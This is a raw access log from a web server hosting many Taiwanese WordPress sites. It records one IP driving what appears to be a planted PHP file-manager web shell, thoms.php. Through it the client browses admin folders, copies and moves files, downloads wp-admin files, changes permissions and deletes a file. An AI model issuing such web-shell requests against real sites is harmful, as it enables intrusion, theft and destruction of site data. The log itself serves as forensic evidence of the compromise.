45.135.193.11 - - [11/Sep/2026:23:16:16 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:16 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p= HTTP/1.1" 200 12228 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:16 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:16 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 18747 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:16 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:16 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:16 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11393 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:16 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 18894 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:16 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:16 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:16 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11369 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:17 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 19114 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11403 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:17 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 19112 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=upgrade HTTP/1.1" 200 11376 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p= HTTP/1.1" 200 12235 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11425 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=bioway88.com.tw HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=cgi-bin HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=wp-content-20260912023544 HTTP/1.1" 200 11379 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=big-wife.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=beauty-dental.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21584 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21583 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=besth2o.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=biotaiwan.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=broadweb.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=bestzyx.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=bfl.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=bestjudy.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=bodbooks.com.tw HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21574 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=bogroup.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=ba-guo.com.tw HTTP/1.1" 200 11377 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=bft.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=betcity.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21583 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=booking-wise2.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=bossini.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:19 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=theme-install.php HTTP/1.1" 200 19283 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=theme-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:19 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin%2Fnetwork HTTP/1.1" 200 17371 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin%2Fnetwork" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:20 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fcustom-background.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fcustom-background.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:20 -0400] "GET /bestzyx.com.tw/wp-admin/menu-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:19 -0400] "GET /thoms.php?dl=admin-footer.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "http://163.245.207.76:443/thoms.php?dl=admin-footer.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:20 -0400] "GET /thoms.php?chmod=ms-delete-site.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=ms-delete-site.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:20 -0400] "GET /thoms.php?chmod=edit-tags.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=edit-tags.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:20 -0400] "GET /thoms.php?del=site-health-info.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28766 "http://163.245.207.76:443/thoms.php?del=site-health-info.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:20 -0400] "GET /thoms.php?dl=edit-tag-form.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "http://163.245.207.76:443/thoms.php?dl=edit-tag-form.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:20 -0400] "GET /bestzyx.com.tw/wp-admin/admin-post.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:20 -0400] "GET /bestzyx.com.tw/wp-admin/options-connectors.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:20 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=link-add.php HTTP/1.1" 200 12379 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=link-add.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:20 -0400] "GET /bestzyx.com.tw/wp-admin/setup-config.php HTTP/1.1" 409 1225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
